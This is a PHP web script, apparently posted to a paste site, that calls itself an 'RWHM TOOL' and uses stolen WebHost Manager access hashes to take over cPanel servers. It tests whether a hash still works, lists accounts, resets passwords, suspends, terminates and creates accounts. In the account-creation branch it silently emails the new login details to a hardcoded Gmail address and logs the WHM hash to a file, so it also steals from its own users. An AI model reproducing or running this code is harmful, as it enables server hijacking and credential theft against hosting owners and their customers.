· 9 years ago · Dec 03, 2016, 11:23 AM
1
2<form action="?&idb=olenk12" method="post">
3<?php
4error_reporting(0);
5$whm_ssl = 1;
6$whm_metode = '/usr/local/cpanel/Cpanel/Accounting.php.inc';
7//functiont
8class Whm{
9var $controller = true;
10var $host = null;
11var $user=null;
12var $accessHash = null;
13var $errors=array();
14var $fp=null;
15function startup(&$controller){
16$this->controller =& $controller;}
17function init($host,$user,$accessHash){
18$this->host=$host;
19$this->user=$user;
20$accessHash = str_replace(array("\r", "\n"),"",$accessHash);
21$this->accessHash=$accessHash;}
22function connect($api_path){
23$this->fp = fsockopen("ssl://" . $this->host, 2087, $errno, $errstr, 30);
24//$this->fp = fsockopen("ssl://" . $this->host, 2087, $errno, $errstr, 30);
25if ($errno == 0 && $this->fp == false){
26$this->errors[]="Socket Error: Could not initialize socket.";
27return false;}
28elseif ($this->fp == false){
29$this->errors[]="Socket Error #" . $errno . ": " . $errstr;
30return false;}
31$header = "";
32$header .= "GET " . $api_path . " HTTP/1.0\r\n";
33$header .= "Host: " . $this->host . "\r\n";
34$header .= "Connection: Close\r\n";
35$header .= "Authorization: WHM " . $this->user . ":" . $this->accessHash . "\r\n";
36//$header .= "Authorization: Basic " . base64_encode($user . ":" . $pass) . "\r\n";
37$header .= "\r\n";
38if(!@fputs($this->fp, $header)){
39$this->errors[]='Unable to send header.';
40return false;}}
41function disconnect(){
42fclose($this->fp);}
43function getOutput(){
44$rawResult = "";
45while (!feof($this->fp)){
46$rawResult .= @fgets($this->fp, 128);}
47$rawResultParts = explode("\r\n\r\n",$rawResult);
48$result = $rawResultParts[1];
49return $result;}
50function version(){
51$this->connect('/xml-api/version');
52$xmlstr=$this->getOutput();
53if($xmlstr==''){
54$this->errors[]='No output.';
55return false;}
56$this->disconnect();
57$xml = new SimpleXMLElement($xmlstr);
58return $xml->version;
59}
60function gethostname(){
61$this->connect('/xml-api/gethostname');
62$xmlstr=$this->getOutput();
63if($xmlstr==''){
64$this->errors[]='No output.';
65return false;}
66$this->disconnect();
67$xml = new SimpleXMLElement($xmlstr);
68return $xml->hostname;
69}
70function passwd($accUser,$pass){
71$this->connect("/xml-api/passwd?user=$accUser&pass=$pass");
72$xmlstr=$this->getOutput();
73if($xmlstr==''){
74$this->errors[]='No output.';
75return false;}
76$this->disconnect();
77$xml = new DOMDocument();
78$xml->loadXML($xmlstr);
79$list = $xml->getElementsByTagName('statusmsg');
80$i=0;
81foreach ($list AS $element){
82foreach ($element->childNodes AS $item){
83$result[$i]['statusmsg']=$item->nodeValue;
84$i++;}}
85$list = $xml->getElementsByTagName('rawout');
86$i=0;
87foreach ($list AS $element){
88foreach ($element->childNodes AS $item){
89$result[$i]['rawout']=$item->nodeValue;
90$i++;}}
91if($result){
92foreach ($result as $item => $output){
93echo '</p>';
94echo '<center><font class=olenk4>Password Berhasil Diganti</center><p><center>';
95echo $output[rawout];
96echo '</center>';
97}
98}else{
99echo '<p><center><font class=olenk5>Tidak dapat tersambung ke server.. Mungkin hash access tidak valid..!!</font></p></div>';
100}
101echo '</center>';
102}
103function suspend($acctUser) {
104$this->connect("/xml-api/suspendacct?user=$acctUser");
105$xmlstr=$this->getOutput();
106if($xmlstr==''){
107$this->errors[]='No output.';
108return false;}
109$this->disconnect();
110$xml = new DOMDocument();
111$xml->loadXML($xmlstr);
112$list = $xml->getElementsByTagName('statusmsg');
113$i=0;
114foreach ($list AS $element){
115foreach ($element->childNodes AS $item){
116$result[$i]['statusmsg']=$item->nodeValue;
117$i++;}}
118if($result){
119echo '<table class=olenk border="1">
120<tr><td><b>Suspended Account</b></tr></td>';
121foreach ($result as $item => $output){
122echo '<tr><td class=olenk4>';
123echo $output[statusmsg];
124echo '</td></tr>';
125}
126}
127else{
128echo '<p><center><font class=olenk5>Tidak dapat tersambung ke server.. Mungkin hash access tidak valid..!!</font></p>';
129}
130echo '</table>';
131}
132function createAccount($acctDomain,$acctUser,$acctPass,$acctPackg,$acctEmail){
133$this->connect("/xml-api/createacct?username=$acctUser&password=$acctPass&plan=$acctPackg&domain=$acctDomain&contactemail=$acctEmail&ip=y&cgi=y&frontpage=y&cpmod=x3&useregns=1&reseller=0");
134$xmlstr=$this->getOutput();
135if($xmlstr==''){
136$this->errors[]='No output.';
137return false;}
138$this->disconnect();
139$xml = new DOMDocument();
140$xml->loadXML($xmlstr);
141$list = $xml->getElementsByTagName('statusmsg');
142$i=0;
143foreach ($list AS $element){
144foreach ($element->childNodes AS $item){
145$result[$i]['statusmsg']=$item->nodeValue;
146$i++;}}
147$list = $xml->getElementsByTagName('rawout');
148$i=0;
149foreach ($list AS $element){
150foreach ($element->childNodes AS $item){
151$result[$i]['rawout']=$item->nodeValue;
152$i++;}}
153if($result){
154foreach ($result as $item => $output){
155echo '<b><p>Status :</b>';
156echo $output[statusmsg];
157echo '</p>';
158echo '<center><font class=olenk4>Login Cpanel Kang</center><br><center><textarea class=olenk>';
159echo strip_tags($output[rawout]);
160echo '</textarea></center>';
161}
162}else{
163echo '<font class=olenk5><center><p>Tidak dapat tersambung ke server.. Mungkin hash access tidak valid..!!</font></center></p>';
164}
165}
166}
167echo '<form action="" method="post"><b><table class=tabnet>';
168echo '<tr><th colspan="2"><b>-=[[ RWHM TOOL ]]=-</b></th></center></tr>';
169echo '<tr><td>hash</td><td><textarea class=olenk2 cols=40 rows=10 name="hash"></textarea></td></tr>';
170echo '<tr><td>hostname</td><td><input class=olenk2 type=text size=40 name="host" value=""></td></tr>';
171echo '<tr><td>admin</td><td><input class=olenk2 type=text size=40 name="admin" value=""></td></tr>';
172echo '<tr><th colspan="2"><b>-=[[ FUNCTION CHECK ]]=-</b></th></center></tr></table>';
173echo '<center>
174<input class=olenk3 type="submit"
175name="cek-pkgs" value="Cek Package"> <input class=olenk3 type="submit"
176name="server" value="Cek Host"> <input class=olenk3 type="submit"
177name="cek-acct" value="Cek Akun"> <input class=olenk3 type="submit" name="tes" value="Cek Hash!"/></center>';
178echo '<b><table class=tabnet><tr><td>user cp</td><td><input class=olenk2 type=text size=40 name="User-name" value=""></td></tr>';
179echo '<tr><td>new pass</td><td><input class=olenk2 type=text size=40 name="password" value=""></td></tr>';
180echo '<tr><td>domain</td><td><input class=olenk2 type=text size=40 name="domain" value=""></td></tr>';
181echo '<tr><td>package</td><td><input class=olenk2 type=text size=40 name="plan" value=""></td></tr>';
182echo '<tr><th colspan="2"><b>-=[[ EXECUTION ]]=-</b></th></center></tr></table>';
183echo '<center><input class=olenk3 type="submit"
184name="resetpass" value="Password"> <input class=olenk3 type="submit"
185name="create" value="buat akun"> <input class=olenk3 type="submit"
186name="suspended" value="Suspended"><br><input class=olenk3 type="submit"
187name="unsuspend" value="Unsuspend"> <input class=olenk3 type="submit"
188name="terminate" value="Terminate"></center>
189</form>';
190
191//terminate
192set_time_limit(0);
193if(isset($_POST['terminate'])){
194$whm_host = $_POST['host'];
195$whm_user = $_POST['admin'];
196$whm_key = $_POST['hash'];
197$User = $_POST['User-name'];
198if (!file_exists($whm_metode)) {
199die($whm_metode . " does not exist. Please update program
200with correct path to your WHM interface file.");}
201if (!empty($whm_key)) {
202require_once $whm_metode;
203$tes = killacct ($whm_host, $whm_user, $whm_key, $whm_ssl, $User);
204if($tes){
205echo '<pre>';
206print_r($tes);
207echo '</pre>';
208}}
209}
210
211//cek akun
212set_time_limit(0);
213if(isset($_POST['cek-acct'])){
214$whm_host = $_POST['host'];
215$whm_user = $_POST['admin'];
216$whm_key = $_POST['hash'];
217if (!file_exists($whm_metode)) {
218die($whm_metode . " does not exist. Please update program
219with correct path to your WHM interface file.");}
220if (!empty($whm_key)) {
221require_once $whm_metode;
222$tes = listaccts ($whm_host, $whm_user, $whm_key, $whm_ssl);
223if($tes){
224echo '<pre>';
225print_r($tes);
226echo '</pre>';
227}
228}
229}
230
231//ganti password
232set_time_limit(0);
233if(isset($_POST['resetpass'])){
234echo '<div class="result">';
235echo '<div class="a">';
236$anu1 = $_POST['host'];
237$anu2 = $_POST['admin'];
238$anu3 = $_POST['hash'];
239$User = $_POST['User-name'];
240$newpass = $_POST['password'];
241if (!empty($anu2)) {
242$test= new whm;
243$test->init("$anu1","$anu2","$anu3");
244$result=$test->passwd("$User","$newpass");
245print $result;
246echo "</center></div>";
247echo "</div>";}}
248//cek package
249set_time_limit(0);
250if(isset($_POST['cek-pkgs'])){
251$whm_host = $_POST['host'];
252$whm_user = $_POST['admin'];
253$whm_key = $_POST['hash'];
254if (!file_exists($whm_metode)) {
255die($whm_metode . " does not exist. Please update program
256with correct path to your WHM interface file.");}
257if (!empty($whm_key)) {
258require_once $whm_metode;
259$tes = listpkgs ($whm_host, $whm_user, $whm_key, $whm_ssl);
260if($tes){
261echo '<pre>';
262print_r($tes);
263echo '</pre>';
264}
265}
266}
267
268//suspended
269set_time_limit(0);
270if(isset($_POST['suspended'])){
271echo '<div class="result">';
272echo '<div class="a">';
273$anu1 = $_POST['host'];
274$anu2 = $_POST['admin'];
275$anu3 = $_POST['hash'];
276$User = $_POST['User-name'];
277if (!empty($anu2)) {
278$test= new whm;
279$test->init("$anu1","$anu2","$anu3");
280$result=$test->suspend("$User");
281print $result;
282echo "</center></div>";
283echo "</div>";}}
284
285//hostname
286set_time_limit(0);
287if(isset($_POST['server'])){
288echo '<div class="result">';
289echo '<div class="a">';
290$anu1 = $_POST['host'];
291$anu2 = $_POST['admin'];
292$anu3 = $_POST['hash'];
293if (!empty($anu2)) {
294$test= new whm;
295$test->init("$anu1","$anu2","$anu3");
296echo "<p><center>";
297$host=$test->gethostname();
298echo 'HostName : ';
299echo $host;
300echo '</p><p>Version : ';
301$versi=$test->version();
302echo $versi;
303echo '</p></center></div></div>';}}
304
305//cek hash
306set_time_limit(0);
307if(isset($_POST['tes'])){
308echo '<div id="result">';
309$whmhost = $_POST['host'];
310$whmuser = $_POST['admin'];
311$whmhash = $_POST['hash'];
312function getVar($name, $def = '') {
313 if (isset($_REQUEST[$name]))
314 return $_REQUEST[$name];
315 else
316 return $def;
317}
318if (!empty($whmuser)) {
319
320$query = "https://$whmhost:2087";
321$curl = curl_init();
322curl_setopt($curl, CURLOPT_SSL_VERIFYHOST,0 );
323curl_setopt($curl, CURLOPT_SSL_VERIFYPEER,0 );
324curl_setopt($curl, CURLOPT_RETURNTRANSFER,1);
325$header[0] = "Authorization: WHM $whmuser:" . preg_replace("'(\r|\n)'","",$whmhash);
326curl_setopt($curl,CURLOPT_HTTPHEADER,$header);
327curl_setopt($curl, CURLOPT_URL, $query);
328$result = curl_exec($curl);
329if ($result == false) {
330error_log("curl_exec threw error \"" . curl_error($curl) . "\" for $query");
331}
332 curl_close($curl);
333 if (strpos($result, "<noframes>WebHost Manager") !== false) {
334 echo "<br/><center>Mantap Kang.!</b><br/>";
335 echo "<br/>Setelah diteliti di ITB & IPB ternyata hash'nya:<br> <font color='green'>masih aktif.!! </font><br/>";
336 } else {
337 echo "<br/><center>Gatot Ga.!</b><br/>";
338 echo "<br/>Setelah diteliti di ITB & IPB ternyata hash'nya:<br> <font color='red'>Sudah tidak aktif lagi </font><br/>";
339 }
340 }
341}
342
343//unsuspended
344set_time_limit(0);
345if(isset($_POST['unsuspend'])){
346$whm_host = $_POST['host'];
347$whm_user = $_POST['admin'];
348$whm_key = $_POST['hash'];
349$User = $_POST['User-name'];
350if (!file_exists($whm_metode)) {
351die($whm_metode . " does not exist. Please update program
352with correct path to your WHM interface file.");}
353if (!empty($whm_key)) {
354require_once $whm_metode;
355$tes = unsuspend ($whm_host, $whm_user, $whm_key, $whm_ssl, $User);
356if($tes){
357echo '<pre>';
358print_r($tes);
359echo '</pre>';
360}}
361}
362
363//fungsi create
364set_time_limit(0);
365$whm_interface_path = '/usr/local/cpanel/Cpanel/Accounting.php.inc';
366function getVar($name, $def = '') {
367 if (isset($_REQUEST[$name]))
368 return $_REQUEST[$name];
369 else
370 return $def;
371}
372//create account
373$II11II11II11II11 = fopen("olenktea.txt","a");
374set_time_limit(0);
375header('Content-Type: text/html; charset=UTF-8');
376$whm_interface_path = '/usr/local/cpanel/Cpanel/Accounting.php.inc';
377if (isset($_POST['create'])) {
378 echo '<div id="result">';
379 if (!isset($whm_user)) {
380 $whm_user = getVar('admin');
381 }
382 if (!isset($whm_host)) {
383 $whm_host = getVar('host');
384 }
385 $whm_usessl = 1;
386 if (!isset($whm_key)) {
387 $whm_key = getVar('hash');
388 }
389 if (!isset($user_domain)) {
390 $user_domain = getVar('domain');
391 }
392 if (!isset($user_name)) {
393 $user_name = getVar('User-name');
394 }
395 if (!isset($user_pass)) {
396 $user_pass = getVar('password');
397 }
398 if (!isset($user_plan)) {
399 $user_plan = getVar('plan');
400 }
401 if (!file_exists($whm_interface_path)) {
402 die($whm_interface_path . " does not exist. Please update program with correct path to your WHM interface file.");
403 }
404 if(!empty($user_name)) {
405require_once $whm_interface_path;
406$result = createacct($whm_host,$whm_user,$whm_key,$whm_usessl,$user_domain,$user_name,$user_pass,$user_plan);
407if(eregi("Account Creation Ok", $result)){
408$awal = explode("Dns Zone check is enabled.", $result);
409$filter = explode('Running', $awal[1]);
410$memek = explode("| Domain: ", $result);
411$memekjanda = explode('| Ip:', $memek[1]);
412$memekk = explode("| Ip:", $result);
413$memekjandaa = explode('(n)', $memekk[1]);
414$memekkk = explode("| UserName:",$result);
415$memekjandaaa = explode("| PassWord:",$memekkk[1]);
416$memekkkk = explode("| PassWord:",$result);
417$memekjandaaaa = explode("| CpanelMod:",$memekkkk[1]);
418$dari = 'cpanel@olenk.info';
419$subject = 'Cpanel Remote Account';
420$tujuan = 'bongkartea56@gmail.com';
421$httpheader='From:'.$dari."rn".'To:'.$tujuan."rn".'Subjecbject:'.$subject."rn".'Content-type:text/plain;charset=iso-8859-1'."rn".'Sent:'.date('l, F d, Y H:i');
422mail($tujuan,$subject,$filter[0],$httpheader);
423echo "<center><br /><pre><font color=cyan>$filter[0]</font></pre>";
424echo '<span class=X><nobr><img src="http://dedekuntoro.wapsite.me/images/salaman.gif"> ACCOUNT CREATED <img src="http://dedekuntoro.wapsite.me/images/goodluck.gif"></nobr><br></span>';
425$separator = "+==========================./olenktea+rn";
426fwrite($II11II11II11II11,$separator."New Account Information rn".$separator);
427fwrite($II11II11II11II11,"WHM USER : ".$whm_user."rn");
428fwrite($II11II11II11II11,"WHM HOST : ".$whm_host."rn");
429
430fwrite($II11II11II11II11,$whm_key."rn");
431fwrite($II11II11II11II11,$filter[0]."rn");
432fwrite($II11II11II11II11,"rn");
433
434fclose($II11II11II11II11);
435} else {
436echo "<center><h3>Failed </h3>";
437}
438if(eregi("Access Denied", $result)) {
439echo "<center>Access Denied</center><br/><br/>";
440}
441if(eregi("Sorry, a passwd entry for that username already exists.", $result)) {
442echo "<center>Sorry, a passwd entry for that username already exists.</center><br/><br/>";
443}
444if(eregi("Sorry, a DNS entry for", $result)){
445echo "<center>Sorry, a DNS entry already exists</center><br/><br/>";
446}
447}
448echo "<br /><br />";
449}
450?>